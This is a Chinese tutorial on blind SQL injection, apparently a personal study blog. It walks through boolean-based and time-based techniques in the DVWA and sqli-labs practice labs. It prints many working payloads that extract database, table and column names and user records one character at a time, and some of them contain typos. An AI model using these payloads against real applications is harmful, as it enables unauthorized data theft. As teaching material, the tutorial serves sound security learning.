SQL注入2——盲注(重学)
SQL注入——盲注
SQL注入——盲注
- SQL注入——盲注
- 一、布尔型盲注
- 1、判断
- 2、盲注库名
- 3、盲注表名
- 4、盲注列名
- 5、盲注数据
- 时间型盲注
- 总结
一、布尔型盲注
假如网站一定存在SQL注入,当注入SQL语句(1’ and 1=2#)之后,网站页面缺没有返回SQL语句执行结果,那这种SQL注入就属于盲注。
而当我们只能通过页面返回的结果的“是”与“否”来得到我们想要的信息就被叫做布尔型盲注。
1、判断
这里以DVWA为例:
后两条sql语句执行结果不一样可以判定为盲注,满足大部分场景。因为不能排除数据库中本来就有这两条数据,导致搜索结果不一致。此时需要引入第一条判断条件。
第一条和第二条的结果一样的时候,并且第二条和第三条结果不一样的时候才能判定为盲注。
1
1’ and 1=1#
1’ and 1=2#
2、盲注库名
显注构造语句后可以直接在页面上获得数据库名
1’ and 1=2 union select 1,schema_name from information_schema.schemata #
1、布尔型盲注首先需要我们知道有多少个数据库
1’ and (select count(schema_name) from information_schema.schemata)=6#
MYSQL数据库默认的information_schema库的schemata表的schema_name字段存储这数据库中的所有数据库的名字,通过这个此我们可以知道有多少个数据库。
2、我们需要知道第一个数据库名的长度
1’ and length((select schema_name from information_schema.schemata limit 0,1))=18#
limit(offset,rows)
offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
rows:返回具体行数。
总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。
3、注入第一个库名
1’ and substring((select schema_name from information_schema.schemata limit 0,1),1,1)=‘i’ #
1’ and substring((select schema_name from information_schema.schemata limit 0,1),2,1)=‘n’ #
得到第一个库名为默认的information_schema
3、盲注表名
逻辑同上
1、查询库内有多少个表
1‘ and count(select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2#
2、查询库内第一个表名的长度
1’ and length((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1))=9 #
3、盲注表名
1’ and substring(select table_name from information_schema where tabe_schema =database() limit 0,1),1,1)=‘g’#
1’ and (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=‘u’ #
1’ and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=‘e’ #
依照此逻辑可以依次推出余下字符还有剩下的表
4、盲注列名
1、查询表内有多少个字段
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and tabe_name=‘users’)=8#
2、判断每一个字段的长度
1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 0,1))=7#
1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1))=4#
1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 4,1))=8#
3、盲注字段名
1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),1,1))=‘u’#
1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),2,1))=‘s’#
1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),3,1))=‘e’#
1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),4,1))=‘r’#
5、盲注数据
1’ and (select count(*) from dvwa.users)=5# (判断列中有几条记录)
1’ and length(substr((select user from users limit 0,1),1))=5# (判断user这一列的第一条记录的长度是否为5)
1’ and substr((select user from users limit 0,1),1,1)=‘a’ # (判断user这一列的第一条记录的第一个字段是否为a)
1’ and substr((select user from users limit 0,1),2,1)=‘d’# (判断user这一列的第一条记录的第二个字段是否为d)
1’ and substr((select user from users limit 1,1),1,1)>‘g’# (判断user这一列的第二条记录的第一个字段ascii码值是否为大于g)
时间型盲注
我们以sqli-labs第九关为例
我们发现id=1和id=1’并没有明显区别,没有报错,也没有发现是与否的关系。
这种情况下就可以考虑盲注的另外一种形式,时间注入
时间盲注和布尔型盲注的区别在于,布尔型盲注通过页面的报错信息判断“是”与“否”,而时间型盲注利用==sleep()==函数让数据库的执行时间变长来判断“是”与“否”。
时间盲注多与if函数结合使用。如:if(a,b,c),此if语句的含义是,如果a为真则返回值为b,否则返回值为c。
如:
if(length(database())>1,sleep(5),1)
它的含义为,如果当前数据库名字符长度大于1,则执行sleep函数使数据库执行延迟,否则则返回1。
所以时间注入的本质也是布尔注入,只不过是用数据库是否延迟执行的方式来表达是与否的逻辑。
具体注入逻辑与布尔型盲注无区别只要把布尔型的payload带入if语句即可
即:
1’ and if($盲注语句,sleep(5),1)#
总结
时间型盲注的payload可以带入布尔型盲注和显注,布尔型盲注也可以带入显注,所以以后可以图方便只发现时间型盲注就可以了。
不想学辣,好累啊
SQL注入2——盲注(重学)相关推荐
- sql注入_1-4_post盲注
sql注入_1-4_post盲注 一.post盲注概念 1.首先post盲注和get盲注一样,只是不会拼接到url中 2.post请求会向指定资源提交数据,请求服务器进行处理,如,表单提交,文件上传等 ...
- sql注入--布尔盲注
sql注入–布尔盲注 靶场:sqli-labs-master 下载链接:靶场下载链接 第8关 盲注 php源码 <?php //including the Mysql connect param ...
- 【小迪安全】Day16web漏洞-SQL注入之盲注
web漏洞-SQL注入之盲注 文章目录 web漏洞-SQL注入之盲注 前言 盲注类型 报错盲注 猜解数据库 猜解表 猜解字段 猜解内容 布尔盲注 猜解数据库 猜解表 猜解字段 猜解内容 延迟注入 前言 ...
- SQL注入-布尔盲注
页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length('abc') ...
- 【SQL注入-布尔盲注】
SQL注入方法-布尔盲注 布尔盲注使用场景 案例演示 演示环境 源码分析 实际测试 使用布尔盲注猜解数据. 布尔盲注使用到的函数: 开始 布尔盲注使用场景 布尔型盲注应用于无数据回显,且WEB页面无报 ...
- 手动SQL注入(盲注)讲解
由于很多人(特别是针对初学者)在百度查找相关的SQL盲注的文章时总感觉无法得到一篇很基础,很完整的文章,所以在这里讲解一篇完整的SQL注入文章 1 查找源码之家等网站进行下载一个网站, 在这里我下载的 ...
- SQL注入——布尔盲注,时间盲注,宽字节注入
布尔盲注 1.布尔盲注利用前提 页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入 缺点:速度太慢,消耗大量时间 布尔盲注思维导图: 布尔盲注常用语句: su ...
- sql注入——布尔盲注
场景 sql-labs中的 Less-8 一.主要运用的mysql语法: count()函数:统计查询结果的数量: length(str)函数:返回字符串 str的长度: left()函数: left ...
- SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用
Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...
最新文章
- 坚果pro2s7.0.1系统更新截图(订阅号长截图测试)PhotoScape图片编辑器应用
- 首届 KubeCon 2020 线上峰会隆重举办 | 云原生生态周报 Vol. 59
- linux c语言中如何通过进程名获取进程PID(awk命令行指令)popen、pclose
- GDCM:gdcm::Testing的测试程序
- navicat怎么安装mysql数据库_【20170825】从零开始学SQL数据库 安装mysql与navicat,开始练习...
- 构建Squid代理服务器-传统代理、透明代理、反向代理
- leetcode530. 二叉搜索树的最小绝对差
- Java压缩技术(七) TAR——Commons实现
- Apache JMeter 下载
- 用对 gitignore
- git新手配置(ios环境)
- 【React Native 实战】微信登录
- matlab2c使用c++实现matlab函数系列教程-polyder函数
- 单片机控制电机原理以及程序怎么写
- 【大数据部落】基于LDA主题模型聚类的商品评论文本挖掘
- 系统常用 Intent 合集
- 凯撒/摩斯/栅栏/维吉尼亚/元音密码加解密的Python实现
- WebRTC基本概念
- 如何将pdf中一些特定页提取存储在另一个pdf中
- 云队友丨新品牌的营销大战:砸进上百万,苦心博出圈
热门文章
- python turtle画小兔子图片_如何用Python画一只兔子——turtle库circle()画圆函数的详细用法介绍...
- 大学计算机基础超新星,计算机奠基
- oracle常用语法
- 2019最近计算机毕业设计-题目汇总大全-系列1
- 淘宝怎么设置微博一键直达 - 淘宝店铺装修入门教程①
- Deconvolution 反卷积 Transposed Convolution 转置卷积 Fractionally Strided Convolution
- 2022-08-15 学习笔记 day38-数据库概述
- 普元eos使用svn_进行中
- noteexpress删除标签_教你使用NoteExpress管理文献~写论文!
- 两条路径分散在树林中:使用JavaScript if ... else语句